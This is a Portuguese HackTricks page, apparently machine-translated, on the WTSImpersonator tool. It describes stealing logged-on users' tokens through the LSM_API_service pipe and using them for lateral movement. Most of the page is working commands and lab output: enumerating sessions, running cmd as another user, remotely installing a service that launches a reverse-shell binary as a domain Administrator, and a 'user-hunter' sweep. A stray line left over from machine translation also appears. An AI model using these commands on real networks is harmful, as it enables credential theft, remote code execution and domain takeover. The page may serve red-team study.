6 KiB
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do HackTricks e HackTricks Cloud.
WTS Impersonator explora o pipe nomeado RPC “\pipe\LSM_API_service” para enumerar usuários logados e roubar tokens de outros usuários sem usar a técnica normal de "Impersonation de Token", permitindo movimento lateral fácil e discreto. Essa técnica foi pesquisada e desenvolvida por Omri Baso.
A ferramenta WTSImpersonator
pode ser encontrada no github.
WTSEnumerateSessionsA → WTSQuerySessionInformationA -> WTSQueryUserToken -> CreateProcessAsUserW
Módulo enum
:
Enumera Usuários Locais na máquina em que a ferramenta está sendo executada
.\WTSImpersonator.exe -m enum
Enumerar uma máquina remotamente dado um IP ou um Hostname.
.\WTSImpersonator.exe -m enum -s 192.168.40.131
Módulo exec
/ exec-remote
:
Tanto "exec" quanto "exec-remote" requerem estar em um contexto de "Serviço".
O módulo local "exec" não precisa de nada além do WTSImpersonator.exe e do binário que você deseja executar -c flag
, isso poderia ser
um normal "C:\Windows\System32\cmd.exe" e você abrirá um CMD como o usuário desejado, um exemplo seria
.\WTSImpersonator.exe -m exec -s 3 -c C:\Windows\System32\cmd.exe
você poderia usar PsExec64.exe para obter um contexto de serviço
.\PsExec64.exe -accepteula -s cmd.exe
Para exec-remote
, as coisas são um pouco diferentes, eu criei um serviço que pode ser instalado remotamente, assim como PsExec.exe
o serviço receberá um SessionId
e um binário para executar
como argumento e será instalado e executado remotamente, dado as permissões corretas
um exemplo de execução seria o seguinte:
PS C:\Users\Jon\Desktop> .\WTSImpersonator.exe -m enum -s 192.168.40.129
__ _________ _____ _____ _
\ \ / /__ __/ ____|_ _| | |
\ \ /\ / / | | | (___ | | _ __ ___ _ __ ___ _ __ ___ ___ _ __ __ _| |_ ___ _ __
\ \/ \/ / | | \___ \ | | | '_ ` _ \| '_ \ / _ \ '__/ __|/ _ \| '_ \ / _` | __/ _ \| '__|
\ /\ / | | ____) |_| |_| | | | | | |_) | __/ | \__ \ (_) | | | | (_| | || (_) | |
\/ \/ |_| |_____/|_____|_| |_| |_| .__/ \___|_| |___/\___/|_| |_|\__,_|\__\___/|_|
| |
|_|
By: Omri Baso
WTSEnumerateSessions count: 1
[2] SessionId: 2 State: WTSDisconnected (4) WinstationName: ''
WTSUserName: Administrator
WTSDomainName: LABS
WTSConnectState: 4 (WTSDisconnected)
como pode ser visto acima, o Sessionid
da conta de Administrador é 2
, então o usamos a seguir na variável id
ao executar código remotamente
PS C:\Users\Jon\Desktop> .\WTSImpersonator.exe -m exec-remote -s 192.168.40.129 -c .\SimpleReverseShellExample.exe -sp .\WTSService.exe -id 2
Módulo user-hunter
:
O módulo user hunter permite enumerar múltiplas máquinas e, se um determinado usuário for encontrado, executará código em nome deste usuário. Isso é útil ao procurar por "Domain Admins" quando se tem direitos de administrador local em algumas máquinas.
.\WTSImpersonator.exe -m user-hunter -uh DOMAIN/USER -ipl .\IPsList.txt -c .\ExeToExecute.exe -sp .\WTServiceBinary.exe
Sure, please provide the example text you would like translated.
PS C:\Users\Jon\Desktop> .\WTSImpersonator.exe -m user-hunter -uh LABS/Administrator -ipl .\test.txt -c .\SimpleReverseShellExample.exe -sp .\WTSService.exe
__ _________ _____ _____ _
\ \ / /__ __/ ____|_ _| | |
\ \ /\ / / | | | (___ | | _ __ ___ _ __ ___ _ __ ___ ___ _ __ __ _| |_ ___ _ __
\ \/ \/ / | | \___ \ | | | '_ ` _ \| '_ \ / _ \ '__/ __|/ _ \| '_ \ / _` | __/ _ \| '__|
\ /\ / | | ____) |_| |_| | | | | | |_) | __/ | \__ \ (_) | | | | (_| | || (_) | |
\/ \/ |_| |_____/|_____|_| |_| |_| .__/ \___|_| |___/\___/|_| |_|\__,_|\__\___/|_|
| |
|_|
By: Omri Baso
[+] Hunting for: LABS/Administrator On list: .\test.txt
[-] Trying: 192.168.40.131
[+] Opned WTS Handle: 192.168.40.131
[-] Trying: 192.168.40.129
[+] Opned WTS Handle: 192.168.40.129
----------------------------------------
[+] Found User: LABS/Administrator On Server: 192.168.40.129
[+] Getting Code Execution as: LABS/Administrator
[+] Trying to execute remotly
[+] Transfering file remotely from: .\WTSService.exe To: \\192.168.40.129\admin$\voli.exe
[+] Transfering file remotely from: .\SimpleReverseShellExample.exe To: \\192.168.40.129\admin$\DrkSIM.exe
[+] Successfully transfered file!
[+] Successfully transfered file!
[+] Sucessfully Transferred Both Files
[+] Will Create Service voli
[+] Create Service Success : "C:\Windows\voli.exe" 2 C:\Windows\DrkSIM.exe
[+] OpenService Success!
[+] Started Sevice Sucessfully!
[+] Deleted Service